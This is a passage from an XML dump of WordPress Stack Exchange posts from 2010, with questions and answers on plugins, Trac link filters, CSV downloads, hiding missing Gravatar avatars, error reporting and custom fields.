href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; - Makes it &lt;em&gt;really&lt;/em&gt; easy to add a contact form to your site, with the field that you want, not necessarily the 'standard' ones. For more advanced needs, it's possible to configure multiple forms. Offers easy integration with reCAPTCHA and Akismet.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/feedburner-plugin/&quot; rel=&quot;nofollow&quot;&gt;FD Feedburner&lt;/a&gt; - Feedburner is a really great tool for gauging statistics related to your feeds. This plugin handles the redirection of your feeds to Feedburner, and requires next-to-no configuration.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-analyticator/&quot; rel=&quot;nofollow&quot;&gt;Google Analyticator&lt;/a&gt; - This plugin makes it easy to add Google Analytics tracking to your blog, and includes dashboard integration. Also supports link tracking, so you can see the direction in which people left your blog.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-sitemap-generator/&quot; rel=&quot;nofollow&quot;&gt;Google XML Sitemaps&lt;/a&gt; - Generates an XML sitemap of your sites contents. It's possibly one of the best ways to ensure that Google (+ others) indexes all of your sites content. Sitemaps are automatically built when changes are made, and search engines are pinged, which notifies them of the changes. It also has a pretty comprehensive set of options, meaning you can change almost everything about the generated sitemap.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; - W3TC is an awesome plugin for helping WordPress scale. It packs some pretty impressive features, including the redirection of your resources to a CDN (along with syncing the two) and the static-caching of your posts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-10-31T22:18:24.030" />
  <row Id="3490" PostTypeId="1" AcceptedAnswerId="3493" CreationDate="2010-11-01T00:41:34.830" Score="3" ViewCount="154" Body="&lt;p&gt;Back in May, I recall seeing a post on the WordPress Development blog by Alex M (Viper007bond.com) where he added functionality for &lt;a href=&quot;http://wpdevel.wordpress.com/2010/05/03/automatic-ticketrevisiondiff-linking/&quot; rel=&quot;nofollow&quot;&gt;Automatic Ticket/Revision/Diff Linking&lt;/a&gt; which allows for linking to Trac tickets, Trac revisions, and Trac diff comparisons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wanting to do the same thing with an internal WordPress blog and Trac that I have for my business.  I haven't seen where this was released as a WordPress plugin so I was hoping that people could point me in the right direction on how to do this in how to do this integration between Trac and WordPress.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditorDisplayName="" LastEditDate="2010-11-01T04:36:19.580" LastActivityDate="2010-11-01T06:29:29.740" Title="How to Integrate Trac and WordPress (as done on the WP Development blog)?" Tags="&lt;bug-tracking&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="3491" PostTypeId="2" ParentId="3490" CreationDate="2010-11-01T00:58:07.830" Score="0" ViewCount="" Body="&lt;p&gt;Also take a look at RTC (free for 10 users on jazz.net) it is the next big thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It automatically combines changing your stuff with the work items attached / diffs / with even your planning. It's the followup of Eclipse (which provided an open source framework).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO the best thing out there currently&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-01T00:58:07.830" />
  <row Id="3492" PostTypeId="2" ParentId="3486" CreationDate="2010-11-01T01:05:17.950" Score="2" ViewCount="" Body="&lt;p&gt;Ah yes... our favorite topic ... :) (not to mention millions of bloggers who wrote one time or another about &quot;their favorite essential wordpress plugins&quot; :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this top 1000 list of authors with accompanying plugins by W shadow: &lt;a href=&quot;http://w-shadow.com/files/top-1000-plugin-authors.html&quot; rel=&quot;nofollow&quot;&gt;http://w-shadow.com/files/top-1000-plugin-authors.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go from top to bottom I think the list represent just the question you ask.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-01T01:05:17.950" />
  <row Id="3493" PostTypeId="2" ParentId="3490" CreationDate="2010-11-01T06:29:29.740" Score="6" ViewCount="" Body="&lt;p&gt;Here's the source of the functionality. It's just a content filter and some basic regex that one of my coworkers at Automattic wrote.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'markup_wporg_links' );&#xA;add_filter( 'comment_text', 'markup_wporg_links' );&#xA;&#xA;function markup_wporg_links( $content ) {&#xA;    $find = array(&#xA;        '/(\ |^)#(\d{3,6})(\b|$)/i', // core trac ticket #1234-core in http://core.trac.wordpress.org/ticket/&#xA;        '/(\ |^)r(\d{3,6})(\b|$)/i', // core changeset r1234-core in http://core.trac.wordpress.org/changeset/1234&#xA;        '/(\ |^)diff:@(\d{3,6}):(\d{3,6})(\b|$)/i', // core diff diff-core:@20:30 https://core.trac.wordpress.org/changeset?new=30&amp;amp;old=20&#xA;    );&#xA;&#xA;    $replace = array(&#xA;        '&amp;lt;a href=&quot;http://core.trac.wordpress.org/ticket/$2&quot;&amp;gt;$0&amp;lt;/a&amp;gt;', // core trac ticket&#xA;        '&amp;lt;a href=&quot;http://core.trac.wordpress.org/changeset/$2&quot;&amp;gt;$0&amp;lt;/a&amp;gt;', // core trac changeset&#xA;        '&amp;lt;a href=&quot;http://core.trac.wordpress.org/changeset?new=$3&amp;amp;old=$2&quot;&amp;gt;$0&amp;lt;/a&amp;gt;', // core diff&#xA;    );&#xA;&#xA;    preg_match_all( '#[^&amp;gt;]+(?=&amp;lt;[^/]*[^a])|[^&amp;gt;]+$#', $content, $matches, PREG_SET_ORDER );&#xA;&#xA;    foreach ( $matches as $val )&#xA;        $content = str_replace( $val[0], preg_replace( $find, $replace, $val[0] ), $content );&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Modify it to suit your needs.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-11-01T06:29:29.740" CommentCount="1" />
  <row Id="3494" PostTypeId="1" AcceptedAnswerId="3500" CreationDate="2010-11-01T09:22:49.410" Score="1" ViewCount="116" Body="&lt;p&gt;I'm using my wordpress.com blog (not wordpress.org) and want to change the language of the blog. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="992" LastEditorUserId="992" LastEditorDisplayName="" LastEditDate="2010-11-06T08:59:12.097" LastActivityDate="2010-11-06T08:59:12.097" Title="How to change the language of a wordpress.com blog?" Tags="&lt;wordpress.com&gt;&lt;multi-language&gt;" AnswerCount="1" />
  <row Id="3495" PostTypeId="2" ParentId="3469" CreationDate="2010-11-01T09:28:02.660" Score="1" ViewCount="" Body="&lt;p&gt;Presentation layer is best handled by CSS. In this case that would probably be &lt;code&gt;margin-bottom&lt;/code&gt; rule for your heading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Markup with &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; is usually unreliable. WP mostly relies on &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; tags for paragraphs and not line breaks.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-01T09:28:02.660" />
  <row Id="3497" PostTypeId="1" AcceptedAnswerId="3498" CreationDate="2010-11-01T10:14:34.357" Score="2" ViewCount="174" Body="&lt;p&gt;When turning opn WP_DEBUG and WP_DEBUG_DISPLAY, I get tons of warnings and notices. I have tried to remove the warnings by doing a @ini_set('error_reporting', 1) to only show E_ERROR, but I still get tons of E_NOTICE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someway to prevent all the warnings and notices and only show errors in HTML output?&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-01T20:39:35.947" LastActivityDate="2010-11-01T20:39:35.947" Title="Prevent notice and warnings in error_reporting?" Tags="&lt;plugin-development&gt;&lt;errors&gt;&lt;wp-debug&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3498" PostTypeId="2" ParentId="3497" CreationDate="2010-11-01T11:01:31.307" Score="1" ViewCount="" Body="&lt;p&gt;Turn off WP_DEBUG because it overwrite your &lt;code&gt;ini_set&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-01T11:01:31.307" CommentCount="2" />
  <row Id="3499" PostTypeId="2" ParentId="3480" CreationDate="2010-11-01T11:09:54.267" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Dave Morris&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand you correctly you want to have &lt;strong&gt;a URL something like the following&lt;/strong&gt; whose response to the browser will be the content you generate, i.e. your &lt;code&gt;.CSV&lt;/code&gt; file and no generated content from WordPress?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/download/data.csv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think you are looking for the &lt;code&gt;'template_redirect'&lt;/code&gt; hook. You can find &lt;code&gt;'template_redirect'&lt;/code&gt; in &lt;code&gt;/wp-includes/template-loader.php&lt;/code&gt; which is a file all WordPress developers should become familiar with; it's short and sweet and routes every non-admin page load so be sure to take a look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add the following to your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in another file that you &lt;code&gt;include&lt;/code&gt; in &lt;code&gt;functions.php&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('template_redirect','yoursite_template_redirect');&#xA;function yoursite_template_redirect() {&#xA;  if ($_SERVER['REQUEST_URI']=='/downloads/data.csv') {&#xA;    header(&quot;Content-type: application/x-msdownload&quot;,true,200);&#xA;    header(&quot;Content-Disposition: attachment; filename=data.csv&quot;);&#xA;    header(&quot;Pragma: no-cache&quot;);&#xA;    header(&quot;Expires: 0&quot;);&#xA;    echo 'data';&#xA;    exit();&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the test for the &lt;code&gt;'/downloads/data.csv'&lt;/code&gt; URL by inspecting &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt;. Also note the added &lt;code&gt;,true,200&lt;/code&gt; to your &lt;code&gt;header()&lt;/code&gt; call where you set the &lt;code&gt;Content-type&lt;/code&gt;; this is because WordPress will have set the &lt;code&gt;404&lt;/code&gt; &lt;em&gt;&quot;Not Found&quot;&lt;/em&gt; status code because it doesn't recognize the URL. It's no problem though as the &lt;code&gt;true&lt;/code&gt; tells &lt;code&gt;header()&lt;/code&gt; to replace the &lt;code&gt;404&lt;/code&gt; WordPress had set and to use the HTTP &lt;code&gt;200&lt;/code&gt; &lt;em&gt;&quot;Okay&quot;&lt;/em&gt; status code instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's what it looks like in FireFox &lt;em&gt;(&lt;strong&gt;Note&lt;/strong&gt; the screenshot doesn't have a &lt;code&gt;/downloads/&lt;/code&gt; virtual directory because after taking and annotating the screenshot it just seemed like a good idea to add a &lt;code&gt;'/downloads/'&lt;/code&gt; virtual directory):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101101-064407.png&quot; alt=&quot;Screenshot of a download URL for a CSV file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want the download to be handled from a URL that is prefixed with &lt;code&gt;/wp-admin/&lt;/code&gt; to give the user the visual indication that it is protected by a login you can do that as well; the description of one way follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encapsulated into a class this time, called &lt;code&gt;DownloadCSV&lt;/code&gt;, and to created a user &lt;em&gt;&quot;capability&quot;&lt;/em&gt; called &lt;code&gt;'download_csv'&lt;/code&gt; for the &lt;code&gt;'administrator'&lt;/code&gt; role &lt;em&gt;(read about Roles and Capabilities &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;)&lt;/em&gt;  You could just piggyback off of the predefined &lt;code&gt;'export'&lt;/code&gt; role if you like and if so just search &amp;amp; replace &lt;code&gt;'download_csv'&lt;/code&gt; with &lt;code&gt;'export'&lt;/code&gt; and remove the &lt;code&gt;register_activation_hook()&lt;/code&gt; call and the &lt;code&gt;activate()&lt;/code&gt; function. By the way, the need for a activation hook is one reason why I moved this to a plugin instead of keeping in the theme's &lt;code&gt;functions.php&lt;/code&gt; file.*  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also added a &lt;em&gt;&quot;Download CSV&quot;&lt;/em&gt; menu option off the &lt;em&gt;&quot;Tools&quot;&lt;/em&gt; menu using &lt;code&gt;add_submenu_page()&lt;/code&gt; and linked it to the &lt;code&gt;'download_csv'&lt;/code&gt; capability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly I chose the &lt;code&gt;'plugins_loaded'&lt;/code&gt; hook because it was the earliest appropriate hook I could use. You could use &lt;code&gt;'admin_init'&lt;/code&gt; but that hook is run much later (1130th hook call vs. the 3rd hook call) so why let WordPress do more throw-away work than it needs to? &lt;em&gt;(I used my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/307/where-can-i-find-a-list-of-wordpress-hooks/339#339&quot;&gt;Instrument Hooks plugin&lt;/a&gt; to figure out which hook to use.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the hook I check to ensure my URL starts with &lt;code&gt;/wp-admin/tools.php&lt;/code&gt; by inspecting the &lt;code&gt;$pagenow&lt;/code&gt; variable, I verify that &lt;code&gt;current_user_can('download_csv')&lt;/code&gt; and if that passes then I test &lt;code&gt;$_GET['download']&lt;/code&gt; to see if it contains &lt;code&gt;data.csv&lt;/code&gt;; if yes we run practically the same code as before. I also remove the &lt;code&gt;,true,200&lt;/code&gt; from the call to &lt;code&gt;header()&lt;/code&gt; in the previous example because here WordPress knows it is a good URL so didn't set the 404 status yet. So here is your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Download CSV&#xA;Author: Mike Schinkel&#xA;Author URI: http://mikeschinkel.com&#xA; */&#xA;if (!class_exists('DownloadCSV')) {&#xA;  class DownloadCSV {&#xA;    static function on_load() {&#xA;      add_action('plugins_loaded',array(__CLASS__,'plugins_loaded'));&#xA;      add_action('admin_menu',array(__CLASS__,'admin_menu'));&#xA;      register_activation_hook(__FILE__,array(__CLASS__,'activate'));&#xA;    }&#xA;    static function activate() {&#xA;      $role = get_role('administrator');&#xA;      $role-&amp;gt;add_cap('download_csv');&#xA;    }&#xA;    static function admin_menu() {&#xA;      add_submenu_page('tools.php',    // Parent Menu&#xA;        'Download CSV',                // Page Title&#xA;        'Download CSV',                // Menu Option Label&#xA;        'download_csv',                // Capability&#xA;        'tools.php?download=data.csv');// Option URL relative to /wp-admin/&#xA;    }&#xA;    static function plugins_loaded() {&#xA;      global $pagenow;&#xA;      if ($pagenow=='tools.php' &amp;amp;&amp;amp; &#xA;          current_user_can('download_csv') &amp;amp;&amp;amp; &#xA;          isset($_GET['download'])  &amp;amp;&amp;amp; &#xA;          $_GET['download']=='data.csv') {&#xA;        header(&quot;Content-type: application/x-msdownload&quot;);&#xA;        header(&quot;Content-Disposition: attachment; filename=data.csv&quot;);&#xA;        header(&quot;Pragma: no-cache&quot;);&#xA;        header(&quot;Expires: 0&quot;);&#xA;        echo 'data';&#xA;        exit();&#xA;      }&#xA;    }&#xA;  }&#xA;  DownloadCSV::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's a screenshot of the activated plugin:&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101104-061049.png&quot; alt=&quot;Screenshot of Plugin Page showing an activated plugin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally here's a screenshot of triggering the download:&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101104-062726.png&quot; alt=&quot;Screenshot of Downloading a file by URL from an option of the WordPress admin's Tools menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-04T10:55:13.710" LastActivityDate="2010-11-04T10:55:13.710" CommentCount="6" />
  <row Id="3500" PostTypeId="2" ParentId="3494" CreationDate="2010-11-01T11:48:37.547" Score="0" ViewCount="" Body="&lt;p&gt;I found it here &lt;a href=&quot;http://en.support.wordpress.com/language-settings/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/language-settings/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="992" LastActivityDate="2010-11-01T11:48:37.547" />
  <row Id="3501" PostTypeId="1" AcceptedAnswerId="3502" CreationDate="2010-11-01T12:21:09.177" Score="0" ViewCount="253" Body="&lt;p&gt;What is the best way of getting a custom field value from a page which is not the one currently displayed? I know the title of the page i want to get custom field value from, but not the pageID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" LastActivityDate="2010-11-01T12:23:26.147" Title="Get custom field value from not-current page" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="3502" PostTypeId="2" ParentId="3501" CreationDate="2010-11-01T12:23:26.147" Score="1" ViewCount="" Body="&lt;p&gt;Use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = get_post_meta($id, $key, $single);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With $single set to true if you don't want WP to return an array for unique meta keys.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-01T12:23:26.147" CommentCount="5" />
  <row Id="3503" PostTypeId="2" ParentId="3472" CreationDate="2010-11-01T12:42:17.513" Score="1" ViewCount="" Body="&lt;p&gt;It's a rather open ended question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the core menu functionality are in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wp-amin/menu.php (initialize/display)&lt;/li&gt;&#xA;&lt;li&gt;wp-admin/js/common.dev.js (fold/unfold and store state scripts)&lt;/li&gt;&#xA;&lt;li&gt;wp-admin/includes/plugin.php (functions that allow plugins to add extra items)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But these then make use of a wide variety of other WP functionality. If your goal is to create menu code for a separate app, as I'm suspecting, you're in for copying entire chunks of the WP code base so you might as well use WP altogether.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-01T12:42:17.513" CommentCount="3" />
  <row Id="3504" PostTypeId="2" ParentId="3471" CreationDate="2010-11-01T12:48:39.797" Score="1" ViewCount="" Body="&lt;p&gt;If memory serves, Bad Behavior allows to configure a few aspects of geo-blocking. There might be a few wp.org plugins tagged as security that allow to implement geo-blocking too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I don't think it's the right approach. The best is to hop over to askapache.com. There's tons of security-related, htaccess-based stuff over there. Geo-blocking is among them.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-01T12:48:39.797" CommentCount="2" />
  <row Id="3505" PostTypeId="2" ParentId="3462" CreationDate="2010-11-01T12:52:55.597" Score="1" ViewCount="" Body="&lt;p&gt;Do all of the posts have the same guid? If memory serves, that's what FWP looks at to check for dups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, might your site be getting hammered every now and then? By Google, for instance... Considering that there's little if any locking in WP, it may be that concurrent cron jobs get fired.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-01T12:52:55.597" CommentCount="1" />
  <row Id="3506" PostTypeId="2" ParentId="3366" CreationDate="2010-11-01T13:25:08.083" Score="0" ViewCount="" Body="&lt;p&gt;This plugin hides all avatar images, and preloads them in Javascript, so client side, which should activate the browser cache. If the image exists, the avatar is replaced and made visible. If it does not exist, nothing happens and the avatar image stays hidden. Tested in Safari and Firefox on Mac.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: WPA 3366&#xA;Plugin URI: http://wordpress.stackexchange.com/questions/3366/how-to-display-nothing-instead-default-when-no-user-gravatar-is-present&#xA;Description: How to display nothing (instead default) when no user gravatar is present?&#xA;Version: 1.0&#xA;Author: Jan Fabry&#xA;*/&#xA;&#xA;$avatar_collection = array();&#xA;&#xA;function get_avatar( $id_or_email, $size = '96', $default = '', $alt = false ) {&#xA;    if ( ! get_option('show_avatars') )&#xA;        return false;&#xA;&#xA;    if ( false === $alt)&#xA;        $safe_alt = '';&#xA;    else&#xA;        $safe_alt = esc_attr( $alt );&#xA;&#xA;    if ( !is_numeric($size) )&#xA;        $size = '96';&#xA;&#xA;    $email = '';&#xA;    if ( is_numeric($id_or_email) ) {&#xA;        $id = (int) $id_or_email;&#xA;        $user = get_userdata($id);&#xA;        if ( $user )&#xA;            $email = $user-&amp;gt;user_email;&#xA;    } elseif ( is_object($id_or_email) ) {&#xA;        // No avatar for pingbacks or trackbacks&#xA;        $allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment' ) );&#xA;        if ( ! empty( $id_or_email-&amp;gt;comment_type ) &amp;amp;&amp;amp; ! in_array( $id_or_email-&amp;gt;comment_type, (array) $allowed_comment_types ) )&#xA;            return false;&#xA;&#xA;        if ( !empty($id_or_email-&amp;gt;user_id) ) {&#xA;            $id = (int) $id_or_email-&amp;gt;user_id;&#xA;            $user = get_userdata($id);&#xA;            if ( $user)&#xA;                $email = $user-&amp;gt;user_email;&#xA;        } elseif ( !empty($id_or_email-&amp;gt;comment_author_email) ) {&#xA;            $email = $id_or_email-&amp;gt;comment_author_email;&#xA;        }&#xA;    } else {&#xA;        $email = $id_or_email;&#xA;    }&#xA;/*&#xA;    if ( empty($default) ) {&#xA;        $avatar_default = get_option('avatar_default');&#xA;        if ( empty($avatar_default) )&#xA;            $default = 'mystery';&#xA;        else&#xA;            $default = $avatar_default;&#xA;    }&#xA;*/&#xA;    $default = '404';&#xA;&#xA;    if ( !empty($email) )&#xA;        $email_hash = md5( strtolower( $email ) );&#xA;&#xA;    if ( is_ssl() ) {&#xA;        $host = 'https://secure.gravatar.com';&#xA;    } else {&#xA;        if ( !empty($email) )&#xA;            $host = sprintf( &quot;http://%d.gravatar.com&quot;, ( hexdec( $email_hash{0} ) % 2 ) );&#xA;        else&#xA;            $host = 'http://0.gravatar.com';&#xA;    }&#xA;&#xA;    if ( 'mystery' == $default )&#xA;        $default = &quot;$host/avatar/ad516503a11cd5ca435acc9bb6523536?s={$size}&quot;; // ad516503a11cd5ca435acc9bb6523536 == md5('unknown@gravatar.com')&#xA;    elseif ( 'blank' == $default )&#xA;        $default = includes_url('images/blank.gif');&#xA;    elseif ( !empty($email) &amp;amp;&amp;amp; 'gravatar_default' == $default )&#xA;        $default = '';&#xA;    elseif ( 'gravatar_default' == $default )&#xA;        $default = &quot;$host/avatar/s={$size}&quot;;&#xA;    elseif ( empty($email) )&#xA;        $default = &quot;$host/avatar/?d=$default&amp;amp;s={$size}&quot;;&#xA;    elseif ( strpos($default, 'http://') === 0 )&#xA;        $default = add_query_arg( 's', $size, $default );&#xA;&#xA;    if ( !empty($email) ) {&#xA;        $out = &quot;$host/avatar/&quot;;&#xA;        $out .= $email_hash;&#xA;        $out .= '?s='.$size;&#xA;        $out .= '&amp;amp;d=' . urlencode( $default );&#xA;&#xA;        $rating = get_option('avatar_rating');&#xA;        if ( !empty( $rating ) )&#xA;            $out .= &quot;&amp;amp;r={$rating}&quot;;&#xA;&#xA;        $comment_id = get_comment_ID();&#xA;&#xA;        $avatar = &quot;&amp;lt;img alt='{$safe_alt}' src='about:blank' class='avatar avatar-{$size} photo avatar-{$email_hash} avatar-hidden' height='{$size}' width='{$size}' style='display: none' id='avatar-{$comment_id}'/&amp;gt;&quot;;&#xA;        $GLOBALS['avatar_collection'][$out][] = $comment_id;&#xA;    } else {&#xA;        // Empty email: never show an avatar&#xA;        $avatar = '';&#xA;//      $avatar = &quot;&amp;lt;img alt='{$safe_alt}' src='{$default}' class='avatar avatar-{$size} photo avatar-default' height='{$size}' width='{$size}' /&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    return apply_filters('get_avatar', $avatar, $id_or_email, $size, $default, $alt);&#xA;}&#xA;&#xA;add_filter('wp_print_footer_scripts', 'add_avatar_footer_script');&#xA;function add_avatar_footer_script()&#xA;{&#xA;    global $avatar_collection;&#xA;    if (empty($avatar_collection)) {&#xA;        return;&#xA;    }&#xA;    $avatar_data = json_encode($avatar_collection);&#xA;    echo &amp;lt;&amp;lt;&amp;lt;EOF&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;(function (avatars) {&#xA;    for (var url in avatars) {&#xA;        var avatarImageObj = new Image();&#xA;        avatarImageObj.onload = function(e) {&#xA;            var avatarIds = avatars[e.target.src];&#xA;            for (var i = 0; i &amp;lt; avatarIds.length; i++) {&#xA;                var avatarImageEl = document.getElementById('avatar-' + avatarIds[i]);&#xA;                avatarImageEl.src = e.target.src;&#xA;                avatarImageEl.style.display = &quot;block&quot;;&#xA;            }&#xA;        }&#xA;        avatarImageObj.src = url;&#xA;    }&#xA;})({$avatar_data});&#xA;&amp;lt;/script&amp;gt;&#xA;EOF;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-01T13:25:08.083" CommentCount="1" />
  <row Id="3507" PostTypeId="1" AcceptedAnswerId="3517" CreationDate="2010-11-01T13:40:33.617" Score="1" ViewCount="344" Body="&lt;p&gt;Is there a way to add a custom field value (if it exists) to the permalink?&lt;/p&gt;&#xA;" LastActivityDate="2010-11-01T16:48:15.287" Title="Custom field values in permalink" Tags="&lt;3.0&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3508" PostTypeId="2" ParentId="3507" CreationDate="2010-11-01T14:01:01.970" Score="0" ViewCount="" Body="&lt;p&gt;Definitely no easy way since it's not part of &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Structure_Tags&quot; rel=&quot;nofollow&quot;&gt;Structure tags&lt;/a&gt; available for use in pretty permalinks setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For generic post it is probably easiest to edit slug manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you expect these posts to be generated by code or something?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-01T14:01:01.970" />
  <row Id="3509" PostTypeId="1" AcceptedAnswerId="3512" CreationDate="2010-11-01T14:05:04.040" Score="0" ViewCount="87" Body="&lt;p&gt;I am trying to use the FaceBook application &lt;a href=&quot;http://www.rssgraffiti.com/&quot; rel=&quot;nofollow&quot;&gt;RSS Grafitti&lt;/a&gt; to link my RSS feed from my Wordpress installation to a FaceBook Fanpage. It finds the feed OK, but cannot post to the Fan page because there is apparently no pubDate field in the RSS feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not even sure where to find the file to edit in my WordPress installation. I have WordPress 3.0.1 installed on a shared Linux host.&lt;/p&gt;&#xA;" OwnerUserId="1442" LastActivityDate="2010-11-01T15:13:29.353" Title="Adding pub_Date to an RSS feed hosted on Wordpress" Tags="&lt;3.0.1&gt;&lt;rss&gt;&lt;facebook&gt;" AnswerCount="1" />
  <row Id="3510" PostTypeId="1" AcceptedAnswerId="3511" CreationDate="2010-11-01T14:09:14.457" Score="2" ViewCount="156" Body="&lt;p&gt;You can create a new page/post for this and set a custom publish date for it, but&#xA;now the question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can you make a page to be available for a specified amount of time and replace it with something else after this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One usage example would be if you want to do a &lt;strong&gt;limited time offer&lt;/strong&gt; and after this you want to replace or hide the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can imagine I'm looking for a solution that would allow you schedule this, so you could be in vacation when the change happens ;)&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2010-11-01T18:50:14.893" Title="How to create pages that do change or expire after a specified amount of time?" Tags="&lt;scheduled-posts&gt;" AnswerCount="1" FavoriteCount="2" />
